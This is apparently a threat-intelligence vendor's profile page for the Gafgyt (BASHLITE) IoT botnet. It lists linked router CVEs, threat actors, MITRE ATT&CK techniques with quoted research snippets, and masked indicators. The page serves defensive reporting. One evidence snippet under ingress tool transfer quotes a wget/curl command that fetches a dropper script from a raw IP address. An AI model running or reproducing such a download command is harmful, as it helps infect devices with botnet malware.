Skip to main content
Mallory
Malware4 associated actors32 associated CVEs

Gafgyt

Tracked since Nov 25, 2025 · Updated 2 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns32Associated
Actors4Associated
ATT&CK61Techniques
IOCs576Tracked
Type
Botnet
Capabilities
DDOSScanningBrute forceDefense evasion
Delivery
Exploit kit
Platforms
LinuxIOTNetwork device
Also known asbashlite

Gafgyt, also known as BASHLITE, is a Linux botnet malware family first observed in 2014 that primarily recruits routers and other internet-of-things devices for distributed denial-of-service attacks. Its source code leaked in 2015, enabling numerous variants and derivative botnets. Architecture-specific payloads support heterogeneous embedded systems, including ARM- and MIPS-based devices.

Gafgyt spreads through weak or default credentials and exploitation of remote command-execution vulnerabilities. Documented variants use Telnet scanning and credential brute forcing, while exploit-equipped versions target routers, surveillance equipment, and other connected devices. Exploited vulnerabilities include Huawei router command injection CVE-2017-17215 and Realtek SDK command execution CVE-2014-8361. Earlier iterations exploited Shellshock, and later variants incorporated attacks against devices exposing vulnerable WeMo UPnP interfaces. Infection scripts commonly retrieve and attempt to execute builds for multiple processor architectures.

Infected devices receive commands from attacker-controlled infrastructure to launch TCP and UDP floods and other resource-exhaustion attacks. Some variants support simultaneous attack methods and routines intended to bypass DDoS mitigation services. Updated BASHLITE variants can terminate specified processes and download and execute additional malware, including cryptocurrency miners and device-bricking payloads. These are optional, variant-specific functions rather than universal characteristics of the family. Gafgyt code is frequently reused or combined with Mirai code in subsequent IoT botnets.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

32 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2017-17215via apnic blogRemote Command Injection in Huawei HG532 DeviceUpgrade ServiceTable 1 lists Huawei CVE-2017-17215 as a router command-injection vulnerability, with AV labels gafgyt, ircbot, mirai, and tsunami. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunamiView vulnerability →Source ↗
CVE-2017-9554via apnic blogUsername enumeration in Synology DiskStation ManagerTable 1 lists Synology CVE-2017-9554 as a NAS information-leak vulnerability, with AV labels gafgyt, intercepter, minerd, mirai, stealthworker, and xmrig. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunamiView vulnerability →Source ↗
CVE-2013-7471via apnic blogSOAP command injection in D-Link WANIPConn1Table 1 lists D-Link CVE-2013-7471 as a router command-injection vulnerability, with AV labels gafgyt, mirai, and tsunami. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunamiView vulnerability →Source ↗
CVE-2015-7756via apnic blogVPN Traffic Decryption Backdoor in Juniper ScreenOSTable 1 lists Juniper CVE-2015-7756 as a firewall backdoor vulnerability, with AV labels gafgyt and mirai. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunamiView vulnerability →Source ↗
CVE-2018-10562via apnic blogCommand Injection in Dasan GPON Router DiagnosticsTable 1 lists GPON CVE-2018-10562 as a router command-injection vulnerability, with AV labels gafgyt, mirai, and tsunami. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunamiView vulnerability →Source ↗
CVE-2017-18368via apnic blogUnauthenticated command injection in ZyXEL P660HN-T1ATable 1 lists Zyxel CVE-2017-18368 as a router command-injection vulnerability, with AV labels gafgyt and mirai. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunamiView vulnerability →Source ↗
CVE-2014-8361via apnic blogRealtek SDK miniigd UPnP SOAP Command InjectionTable 1 lists D-Link CVE-2014-8361 as a router command-injection vulnerability, with AV labels gafgyt, mirai, and tsunami. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunamiView vulnerability →Source ↗
CVE-2016-10372via apnic blogTR-064 Remote Command Injection in Eir D1000 ModemsTable 1 lists Zyxel CVE-2016-10372 as a modem command-injection vulnerability, with AV labels gafgyt, mirai, and tsunami. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunamiView vulnerability →Source ↗
CVE-2016-6277via cujo blogExploited in the wildRemote OS command injection in NETGEAR routersCVE-2016-6277 – Netgear RCE via shell metacharacters in the path info to cgi-bin/View vulnerability →Source ↗
CVE-2014-6271via trend micro researchExploited in the wildShellshockIn its previous iterations, Bashlite exploited Shellshock to gain a foothold into the vulnerable devices.View vulnerability →Source ↗
CVE-2015-2051via cujo blogExploited in the wildHNAP SOAPAction Header Command Injection in D-Link DIR-645CVE-2015-2051 – HNAP SOAPAction-Header Command ExecutionView vulnerability →Source ↗
CVE-2023-1389via forescoutExploited in the wildUnauthenticated Root Command Injection in TP-Link Archer AX21A prime example is CVE-2023-1389, a command injection affecting TP-Link Archer AX21 routers, which is part of CISA KEV since 2023 and has been exploited by botnets such as AGoent, Gafgyt, Moobot, Mirai and others.View vulnerability →Source ↗

20 more CVEs associated with this family tracked in Mallory.

Threat actors

Associated threat actors

4 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
Keksec

Keksec frequently used Gafgyt source code, which was leaked in 2015 and had infected approximately one million devices by 2016.

via cyfirma blogcyfirma.com
keksec group

Gafgyt_tor share the same origin with the Gafgyt samples described by the keksec group, the core function is still DDoS attacks and scanning.

via netlab 360blog.netlab.360.com
vDOS

The original Mirai was consistently tweaked to compete with its “DDoS-as-a-Service” provider rival vDOS and their Gafgyt botnet.

via cyfirma blogcyfirma.com
Lizard Squad

BASHLITE (also known as Gafgyt, Lizkebab, PinkSlip, Qbot, Torlus and LizardStresser) is malware which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS).

via wikipedia enen.wikipedia.org
MITRE ATT&CK

Techniques & procedures

61 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

2 techniques
T1595Active ScanningEvidence1

Mirai code was mainly used in modules of watchdog, killer, scanner and rand alpha string generation.

T1595.002Vulnerability ScanningEvidence1

We can see that Keksec launched scans and attacks on targets across the network almost non-stop. Our honeypots see new variants and exploits all the time, with the exception of some occasional breaks. When a new exploit is introduced, the scans increase significantly.

Resource Development

2 techniques
T1584.005BotnetEvidence1

Surveillance cameras in shopping malls are being targeted to form a large botnet... the DDoS attack now peaked at 20,000 requests per second and originated from nearly 900 CCTV cameras running embedded versions of Linux and the BusyBox toolkit.

T1587.001MalwareEvidence1

By leveraging on commodity malware, they are attempting to operate under the cloak of anonymity to avoid being identified as state-sponsored hacker groups.

Initial Access

3 techniques
T1078Valid AccountsEvidence3

These leaked credentials are the default credentials of many poorly secured IoT devices.

T1078.001Default AccountsEvidence1

The crooks made this possible because CCTV camera operators are taking a Lax approach to security and their failure to change default passwords on the devices.

T1190Exploit Public-Facing ApplicationEvidence15

The infection sequence initiates with the transmission of a meticulously crafted HTTP request by an attacker to a designated system employing Log4j.

Execution

5 techniques
T1053.003CronEvidence4

The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.

T1059Command and Scripting InterpreterEvidence13

An attacker can then remotely issue commands ... and download other files to the compromised devices.

T1059.004Unix ShellEvidence6

They may also have a mechanism to run arbitrary shell commands on the infected machine.

T1059.006PythonEvidence2

According to Akamai’s research, the code validation endpoint executes untrusted Python “without proper sandboxing.”

T1203Exploitation for Client ExecutionEvidence15

OWARI retained the default password technique to propagate the victim device and added a few exploit scanners like CVE-2017–17215 Huawei exploit...

Persistence

5 techniques
T1037Boot or Logon Initialization ScriptsEvidence3

[C0XMO] modifies shell startup files such as .bashrc, .profile, and .bash_profile to ensure execution after system reboots.

T1053.003CronEvidence4

The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.

T1078Valid AccountsEvidence3

These leaked credentials are the default credentials of many poorly secured IoT devices.

T1078.001Default AccountsEvidence1

The crooks made this possible because CCTV camera operators are taking a Lax approach to security and their failure to change default passwords on the devices.

T1112Modify RegistryEvidence1

Configuration alteration : Figure 6: Modifying configurations /etc/sysctl.conf is a configuration file in Unix-like operating systems used to modify kernel parameters at runtime.

Privilege Escalation

5 techniques
T1037Boot or Logon Initialization ScriptsEvidence3

[C0XMO] modifies shell startup files such as .bashrc, .profile, and .bash_profile to ensure execution after system reboots.

T1053.003CronEvidence4

The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.

T1068Exploitation for Privilege EscalationEvidence1

In its previous iterations, Bashlite exploited Shellshock to gain a foothold into the vulnerable devices.

T1078Valid AccountsEvidence3

These leaked credentials are the default credentials of many poorly secured IoT devices.

T1078.001Default AccountsEvidence1

The crooks made this possible because CCTV camera operators are taking a Lax approach to security and their failure to change default passwords on the devices.

Stealth

9 techniques
T1027Obfuscated Files or InformationEvidence1

Most of the Gafgyt and Tsunami samples we captured were not packed... String encoding... Necro also cryptographically protects the string by first performing character substitution and then doing zip compression.

T1027.002Software PackingEvidence2

a few of the packed samples used the standard UPX shell

T1036MasqueradingEvidence6

A very traditional technique on Linux systems is to use random strings to override argv parameters and prctl(PR_SET_NAME,buf) to change the process name and start parameters in order to disguise the process.

T1070Indicator RemovalEvidence5

BRICKER downloads and executes a bricker malware from a specified URL to presumably eliminate competing bots. MINER downloads and executes a cryptocurrency-mining malware on the infected machine, while PKILL terminates a specified process.

T1070.004File DeletionEvidence1

to kill any running process that is not stored on a specific path

T1078Valid AccountsEvidence3

These leaked credentials are the default credentials of many poorly secured IoT devices.

T1078.001Default AccountsEvidence1

The crooks made this possible because CCTV camera operators are taking a Lax approach to security and their failure to change default passwords on the devices.

T1497.001System ChecksEvidence2

In the inspection phase the malware is using various checks to establish that this is a real server with the service running probably to avoid infecting low interaction honeypots.

T1564.001Hidden Files and DirectoriesEvidence2

C0XMO copies itself into hidden directories including: /tmp/.sys, /var/tmp/.sys, /dev/shm/.sys, $HOME/.sys.

Defense Impairment

2 techniques
T1112Modify RegistryEvidence1

Configuration alteration : Figure 6: Modifying configurations /etc/sysctl.conf is a configuration file in Unix-like operating systems used to modify kernel parameters at runtime.

T1685Disable or Modify ToolsEvidence3

« Élimination de la concurrence : Tue les processus wget, curl, sshd et les processus Mirai/Gafgyt »

Credential Access

3 techniques
T1040Network SniffingEvidence1

Packet sniffing is one of the more favoured features of Keksec, and the code can be seen in all three families. The basic function is to capture TCP traffic after filtering out some specified ports and IPs, and to send the remaining data to the C2.

T1110Brute ForceEvidence19

Mirai attempted a brute-force attack with a pre-configured list of known factory defaults and most commonly used credentials.

T1110.001Password GuessingEvidence2

C0XMO is actively targeting internet-exposed devices through a combination of vulnerability exploitation, weak-credential attacks, and automated lateral movement.

Discovery

9 techniques
T1016System Network Configuration DiscoveryEvidence1

The malicious process calls a function called getOurIP... The malware performs a connection to the Google DNS server on port 53... The ELF binary obtains the current address to which the socket is bound using the getsockname function.

T1033System Owner/User DiscoveryEvidence1

The ELF binary extracts the MAC address of the device using the ioctl method (0x8927 = SIOCGIFHWADDR).

T1040Network SniffingEvidence1

Packet sniffing is one of the more favoured features of Keksec, and the code can be seen in all three families. The basic function is to capture TCP traffic after filtering out some specified ports and IPs, and to send the remaining data to the C2.

T1046Network Service DiscoveryEvidence13

“The core function is still DDoS attacks and scanning”; samples contain scan functions named “ak47Scan” and “ak47telscan.”

T1057Process DiscoveryEvidence7

« Tue les processus wget, curl, sshd et les processus Mirai/Gafgyt »

T1082System Information DiscoveryEvidence3

Target Architecture Identified → Matching Binary Deployed.

T1083File and Directory DiscoveryEvidence4

A few checks are conducted mainly to determine if the machine has already been infected by this variant of Gafgyt and to check if another malware is running

T1497.001System ChecksEvidence2

In the inspection phase the malware is using various checks to establish that this is a real server with the service running probably to avoid infecting low interaction honeypots.

T1518Software DiscoveryEvidence1

Performs memory scanning of /proc/$pid/exe against signatures for known competing botnets: QBOT/Bashlite variants... UPX-packed binaries... Zollard worm... Remaiten...

Lateral Movement

4 techniques
T1021Remote ServicesEvidence5

The initial access is gained by brute forcing to an internet connected SSH with weak password.

T1021.004SSHEvidence2

The attacking server (a part of the botnet) executes some shell commands via the SSH connection and transfers the main payloads.

T1210Exploitation of Remote ServicesEvidence5

The Simps payload was delivered by exploiting multiple Remote Code Execution vulnerabilities in vulnerable IOT devices.

T1570Lateral Tool TransferEvidence2

After finding a target, the malware attempts to brute-force weak Telnet and SSH credentials, detects the CPU architecture, and deploys a compatible C0XMO binary.

Command and Control

13 techniques
T1001Data ObfuscationEvidence1

The scheme changes the S-box seed, adds a two-phase key schedule, and scrambles keystream bytes. Consequently, standard automated decoders struggle to read the traffic.

T1001.003Protocol or Service ImpersonationEvidence1

In a UDP-BYPASS attack, Momentum floods the target host by constructing and unloading a legitimate UDP payload on a specific port.

T1071Application Layer ProtocolEvidence21

After persistence is established, C0XMO connects to its command-and-control infrastructure and performs a custom multi-stage handshake.

T1071.001Web ProtocolsEvidence1

"Advanced URL Filtering and DNS Security can block the command and control (C2) domain and malware hosting URLs"; "The botnet client can accept the following command and control (C2) channel commands"

T1090ProxyEvidence2

We found Tor proxy being used to communicate with the C2 in both Gafgyt and Necro.

T1090.003Multi-hop ProxyEvidence2

In Gafgyt Tor proxy is used to talk to the C2 through a built-in proxy list. Up to 173 proxy IPs can be used for a single sample.

T1095Non-Application Layer ProtocolEvidence1

The aim of the LWE is to extract the C2 server and port by emulating the initConnection function checked with the C2 loop.

T1105Ingress Tool TransferEvidence28

wget http://200.150.205.65/8UsA.sh; curl -O http://200.150.205.65/8UsA.sh

T1132Data EncodingEvidence1

Base64 code has also been identified ... Upon decoding, it was discerned that subsequent to compromising a victim machine, it initiated contact with a URL to fetch a shell script.

T1219Remote Access ToolsEvidence2

It now also sports additional DDoS-related commands, and added new ones that gave the malware cryptocurrency mining and backdoor capabilities.

T1568.001Fast Flux DNSEvidence1

The Momentum botnet uses the fast flux technique in order to make its command and control network more resilient.

T1571Non-Standard PortEvidence1

MITRE ATT&CK Mapping ... Command and Control Non-Standard Port T1571 C2 on ports 27015, 27016 (game server ports)

T1572Protocol TunnelingEvidence1

Port 27015/27016 Analysis ... Botnet C2 channels — using game server protocols as covert communication channels to blend with legitimate gaming traffic ... MITRE ATT&CK Mapping ... Protocol Tunneling T1572 Possible game protocol tunneling on 27015/27016

Impact

11 techniques
T1485Data DestructionEvidence1

BRICKER downloads and executes a bricker malware from a specified URL to presumably eliminate competing bots.

T1489Service StopEvidence3

while PKILL terminates a specified process.

T1490Inhibit System RecoveryEvidence1

There is a specific function called UpdateNameSrvs to change nameservers on the infected device. The function is responsible for writing the file /etc/resolv.conf with Google’s DNS servers.

T1496Resource HijackingEvidence4

It now also sports additional DDoS-related commands, and added new ones that gave the malware cryptocurrency mining and backdoor capabilities.

T1498Network Denial of ServiceEvidence37

Gafgyt is a long-running IoT malware family primarily associated with botnet operations and distributed denial-of-service (DDoS) attacks... DDoS Capability Activated.

T1498.001Direct Network FloodEvidence5

The malware uses known reflection and amplifications methods that have a variety of targets: MEMCACHE, LDAP, DNS and Valve Source Engine.

T1498.002Reflection AmplificationEvidence1

A list of the IP addresses of DNS servers misused for DNS amplification attacks are stored in the /usr/lib/libamplify.so file.

T1499Endpoint Denial of ServiceEvidence12

The most notable of Bashlite’s backdoor commands include simultaneously launching multiple types of DDoS floods to a target

T1499.001OS Exhaustion FloodEvidence1

HTTP flooding is a kind of DDoS attack in which the attacker sends a large number of HTTP requests to the targeted server to overwhelm it.

T1499.003Application Exhaustion FloodEvidence1

The most common attack consisted of HTTP GET request floods originating from around 900 CCTV cameras spread around the world.

T1561.001Disk Content WipeEvidence1

These behaviors include deleting data, writing junk data on specific device paths, and rebooting devices.

Indicators of compromise

Observables

576 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

118 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+112 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching576Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors4Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities32CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping61Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.